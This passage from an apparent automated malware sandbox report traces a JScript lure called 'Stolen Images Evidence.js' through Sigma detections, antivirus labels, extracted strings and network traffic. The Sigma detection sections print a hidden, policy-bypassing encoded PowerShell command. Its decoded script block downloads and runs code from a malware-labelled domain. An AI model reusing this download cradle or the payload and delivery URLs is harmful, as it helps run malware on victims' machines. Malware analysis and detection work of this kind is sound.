Author: Florian Roth, Max Altgelt: Data: Command: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js' , CommandLine: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js' , CommandLine|base64offset|contains: "fz, Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js', ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6380, ProcessCommandLine: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js' , ProcessId: 6820

Sigma detected: Suspicious Encoded PowerShell Command Line

Show sources

Source: Process started

Author: Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=, CommandLine: 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js' , ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 6820, ProcessCommandLine: 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=, ProcessId: 5400

Sigma detected: Suspicious PowerShell Invocations - Specific

Show sources

Source: Event Logs

Author: Florian Roth (rule), Jonhnathan Ribeiro: Data: EventID: 4104, Source: Microsoft-Windows-PowerShell, data 0: 1, data 1: 1, data 2: IEX (New-Object Net.Webclient).downloadstring("http://moseronado.top/333g100/index.php"), data 3: 71efb089-49b8-4249-8e3b-5d497e16e95c, data 4:

Sigma detected: WScript or CScript Dropper

Show sources

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (rule), oscd.community: Data: Command: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js' , CommandLine: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js' , CommandLine|base64offset|contains: "fz, Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js', ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6380, ProcessCommandLine: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js' , ProcessId: 6820

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution

Show sources

Source: Process started

Author: Michael Haag: Data: Command: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js' , CommandLine: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js' , CommandLine|base64offset|contains: "fz, Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js', ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6380, ProcessCommandLine: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js' , ProcessId: 6820

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=, CommandLine: poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=, CommandLine|base64offset|contains: FD, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5400, ProcessCommandLine: poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=, ProcessId: 5648

Sigma detected: T1086 PowerShell Execution

Show sources

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132790959761494919.5648.DefaultAppDomain.powershell

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://moseronado.top/	Avira URL Cloud: Label: malware
Source: http://moseronado.top	Avira URL Cloud: Label: malware
Source: http://moseronado.top/333g100/index.php	Avira URL Cloud: Label: malware

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Local\Temp\4724_1438030691\LICENSE.txt

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic			Jump to behavior

Source:

Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb4C source: powershell.exe, 0000001E.00000002.425859097.0000000002DB7000.00000004.00000020.sdmp

Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 02CC099Bh	7_2_02CC02A8
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 02CC099Ah	7_2_02CC02A8
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 0520099Bh	14_2_052002A8
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 0520099Ah	14_2_052002A8
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 02CF099Bh	22_2_02CF02A8
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 02CF099Ah	22_2_02CF02A8

Source: global traffic	HTTP traffic detected: GET /333g100/index.php HTTP/1.1Host: moseronado.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /333g100/index.php HTTP/1.1Host: moseronado.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /333g100/index.php HTTP/1.1Host: moseronado.topConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 18 Oct 2021 20:46:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-alivevary: Accept-Encodingx-powered-by: PHP/7.2.34CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kMLKBxaEZmEaLFq0xcpI6%2BbT0FxeCp%2BTIHUQrAXmwVACDv8W2ZZEVLkHP%2BlcYLxngy2fBkaZMqZNT6Rk2dsLebpecR7m0LH6MFjuVaNgGMlw0nXXkwG5cGO3T7y94r939g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6a049e0c0a7f6921-FRAData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 18 Oct 2021 20:46:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-alivevary: Accept-Encodingx-powered-by: PHP/7.2.34CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9J9aRrf5cOqyZIze%2FCH5KhqeyWYk2CgvwQc1FwIgYF%2FIv7nP1EQ3C5TpXbvpI3nEICHNmwnTIqLYnynxOnD7%2BmXeIKUXX5EA2d2jYJ1MJjXb4OMQodFbCMy03NhPNe9pBQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6a049e6b8b4b4e4f-FRAData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 18 Oct 2021 20:47:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-alivevary: Accept-Encodingx-powered-by: PHP/7.2.34CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EmnEQvCBYyfnDNs7Zto%2FAE0N1wQt8YN2hkNCtEq7CF0XXzDLkdSs2ZMXnkH6Yz9EldJAW476fwhui6xd9f9RjPD6axM8xuaBLcmMRUgAfK2rldZHSUtHuK7rMS1IOixVPw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6a049ec2b9534df4-FRAData Raw: 30 0d 0a 0d 0a Data Ascii: 0

Source: Filtering Rules.0.dr	String found in binary or memory: www.facebook.com/ajax/ads/ equals www.facebook.com (Facebook)
Source: Filtering Rules.0.dr	String found in binary or memory: www.facebook.com0 equals www.facebook.com (Facebook)

Source: powershell.exe, 0000001E.00000002.434508384.0000000007930000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 0000001E.00000002.428658588.0000000004E12000.00000004.00000001.sdmp, powershell.exe, 00000027.00000002.452108989.00000000052E2000.00000004.00000001.sdmp	String found in binary or memory: http://moseronado.top
Source: powershell.exe, 00000027.00000002.452560356.0000000005540000.00000004.00000001.sdmp, PowerShell_transcript.610930.3wwpsSEZ.20211018224633.txt.42.dr	String found in binary or memory: http://moseronado.top/
Source: powershell.exe, 0000001E.00000002.428658588.0000000004E12000.00000004.00000001.sdmp, powershell.exe, 0000001E.00000002.427917438.0000000004CD1000.00000004.00000001.sdmp, powershell.exe, 00000027.00000002.452108989.00000000052E2000.00000004.00000001.sdmp, powershell.exe, 00000027.00000002.451943275.00000000051A1000.00000004.00000001.sdmp, PowerShell_transcript.610930.3wwpsSEZ.20211018224633.txt.42.dr	String found in binary or memory: http://moseronado.top/333g100/index.php
Source: powershell.exe, 0000001E.00000002.433324721.0000000005D32000.00000004.00000001.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000001E.00000002.434508384.0000000007930000.00000004.00000001.sdmp, powershell.exe, 0000001E.00000002.428658588.0000000004E12000.00000004.00000001.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000001E.00000002.427917438.0000000004CD1000.00000004.00000001.sdmp, powershell.exe, 00000027.00000002.451943275.00000000051A1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: http://tools.ietf.org/html/rfc1950
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000001E.00000002.434508384.0000000007930000.00000004.00000001.sdmp, powershell.exe, 0000001E.00000002.428658588.0000000004E12000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions-01
Source: Reporting and NEL.1.dr	String found in binary or memory: https://a.nel.cloudflare.com/report/v3?s=mNB4Q2geIt%2Bv9UWz8wCgeziQgKEBRQNb0YawZMf1X5FyV3KFI9n5lM9sF
Source: Reporting and NEL.1.dr	String found in binary or memory: https://a.nel.cloudflare.com/report/v3?s=rAtGpP5QQPqszmYEwWmYxw6Isy9ZGCCHBGPPX06Kx6PE5appc1%2FC8NYIQ
Source: manifest.json1.0.dr, 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	String found in binary or memory: https://accounts.google.com
Source: craw_window.js.0.dr	String found in binary or memory: https://accounts.google.com/MergeSession
Source: manifest.json1.0.dr, 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	String found in binary or memory: https://apis.google.com
Source: data_2.1.dr	String found in binary or memory: https://cdn.jsdelivr.net/gh/carlsednaoui/ouibounce
Source: data_1.1.dr	String found in binary or memory: https://cdn.rawgit.com/carlsednaoui/ouibounce/master/test/ouibounce.min.css
Source: data_1.1.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
Source: data_1.1.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/ouibounce/0.0.11/ouibounce.min.js
Source: 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	String found in binary or memory: https://clients2.google.com
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://clients2.google.com/cr/report
Source: manifest.json1.0.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://clients6.google.com
Source: manifest.json1.0.dr	String found in binary or memory: https://content.googleapis.com
Source: powershell.exe, 0000001E.00000002.433324721.0000000005D32000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001E.00000002.433324721.0000000005D32000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001E.00000002.433324721.0000000005D32000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/License
Source: LICENSE.txt.0.dr	String found in binary or memory: https://creativecommons.org/.
Source: LICENSE.txt.0.dr	String found in binary or memory: https://creativecommons.org/compatiblelicenses
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://creativecommons.org/publicdomain/zero/1.0/.
Source: data_2.1.dr	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/static-on-bigtable
Source: Reporting and NEL.1.dr	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/static-on-bigtablel
Source: ddc13123-4f58-4cc4-b5ac-c1a25ce09681.tmp.1.dr, 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	String found in binary or memory: https://dns.google
Source: data_1.1.dr, Stolen Images Evidence (2).zip_Zone.Identifier.17.dr	String found in binary or memory: https://doc-0k-3c-docs.googleusercontent.com/docs/securesc/hcue5o0sqp41v6uc8cr49rhddquntu8g/mtvptcme
Source: data_1.1.dr, Stolen Images Evidence.zip_Zone.Identifier.6.dr	String found in binary or memory: https://doc-0o-ac-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/a0ant5uf
Source: 000003.log7.0.dr	String found in binary or memory: https://docs.google.com/nonceSigner?nonce=e7j16a2kasg3e&continue=https://doc-0k-3c-docs.googleuserco
Source: 000003.log7.0.dr	String found in binary or memory: https://drive.google.com/uc?export=download&id=1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG
Source: LICENSE.txt.0.dr	String found in binary or memory: https://easylist.to/)
Source: manifest.json1.0.dr	String found in binary or memory: https://feedback.googleusercontent.com
Source: 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	String found in binary or memory: https://fonts.googleapis.com
Source: manifest.json1.0.dr	String found in binary or memory: https://fonts.googleapis.com;
Source: 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	String found in binary or memory: https://fonts.gstatic.com
Source: manifest.json1.0.dr	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 0000001E.00000002.434508384.0000000007930000.00000004.00000001.sdmp, powershell.exe, 0000001E.00000002.428658588.0000000004E12000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: material_css_min.css.0.dr	String found in binary or memory: https://github.com/angular/material
Source: LICENSE.txt.0.dr	String found in binary or memory: https://github.com/easylist)
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://github.com/madler/zlib/blob/master/zlib.h
Source: powershell.exe, 0000001E.00000002.432661850.0000000005556000.00000004.00000001.sdmp	String found in binary or memory: https://go.micro
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://hangouts.clients6.google.com
Source: manifest.json1.0.dr	String found in binary or memory: https://hangouts.google.com/
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://hangouts.google.com/hangouts/_/logpref
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://meetings.clients6.google.com
Source: powershell.exe, 0000001E.00000002.433324721.0000000005D32000.00000004.00000001.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	String found in binary or memory: https://ogs.google.com
Source: craw_window.js.0.dr, manifest.json0.0.dr	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://preprod-hangouts-googleapis.sandbox.google.com
Source: data_1.1.dr	String found in binary or memory: https://r4---sn-4g5ednsd.gvt1.com/edgedl/chrome/dict/en-us-9-0.bdic?cms_redirect=yes&mh=I2&mip=102.1
Source: data_1.1.dr	String found in binary or memory: https://redirector.gvt1.com/edgedl/chrome/dict/en-us-9-0.bdic
Source: data_1.1.dr	String found in binary or memory: https://redirector.gvt1.com/edgedl/chrome/dict/en-us-9-0.bdicL
Source: craw_window.js.0.dr, manifest.json0.0.dr	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	String found in binary or memory: https://ssl.gstatic.com
Source: data_1.1.dr	String found in binary or memory: https://ssl.gstatic.com/images/branding/product/2x/hh_drive_36dp.png
Source: 000003.log7.0.dr, Stolen Images Evidence (2).zip_Zone.Identifier.17.dr, Stolen Images Evidence.zip_Zone.Identifier.6.dr	String found in binary or memory: https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=0
Source: messages.json66.0.dr, feedback.html.0.dr	String found in binary or memory: https://support.google.com/chromecast/answer/2998456
Source: messages.json66.0.dr, feedback.html.0.dr	String found in binary or memory: https://support.google.com/chromecast/troubleshooter/2995236
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://www-googleapis-staging.sandbox.google.com
Source: manifest.json1.0.dr, 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	String found in binary or memory: https://www.google.com
Source: manifest.json0.0.dr	String found in binary or memory: https://www.google.com/
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
Source: data_1.1.dr	String found in binary or memory: https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_120x44dp.png
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/dot2.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/x2.gif
Source: craw_background.js.0.dr	String found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://www.google.com/log?format=json&hasfast=true
Source: manifest.json1.0.dr	String found in binary or memory: https://www.google.com;
Source: craw_window.js.0.dr, craw_background.js.0.dr, 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	String found in binary or memory: https://www.googleapis.com
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/
Source: manifest.json1.0.dr	String found in binary or memory: https://www.googleapis.com/auth/calendar.readonly
Source: manifest.json1.0.dr	String found in binary or memory: https://www.googleapis.com/auth/cast-edu-messaging
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: manifest.json1.0.dr	String found in binary or memory: https://www.googleapis.com/auth/clouddevices
Source: manifest.json1.0.dr	String found in binary or memory: https://www.googleapis.com/auth/hangouts
Source: manifest.json1.0.dr	String found in binary or memory: https://www.googleapis.com/auth/hangouts.readonly
Source: manifest.json1.0.dr	String found in binary or memory: https://www.googleapis.com/auth/meetings
Source: manifest.json1.0.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.peopleapi.readwrite
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: manifest.json1.0.dr	String found in binary or memory: https://www.googleapis.com/auth/userinfo.email
Source: 3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp.1.dr	String found in binary or memory: https://www.gstatic.com
Source: manifest.json1.0.dr	String found in binary or memory: https://www.gstatic.com;

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: unknown

DNS traffic detected: queries for: clients2.google.com

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfmX-Goog-Update-Updater: chromecrx-85.0.4183.121Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/ouibounce/0.0.11/ouibounce.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
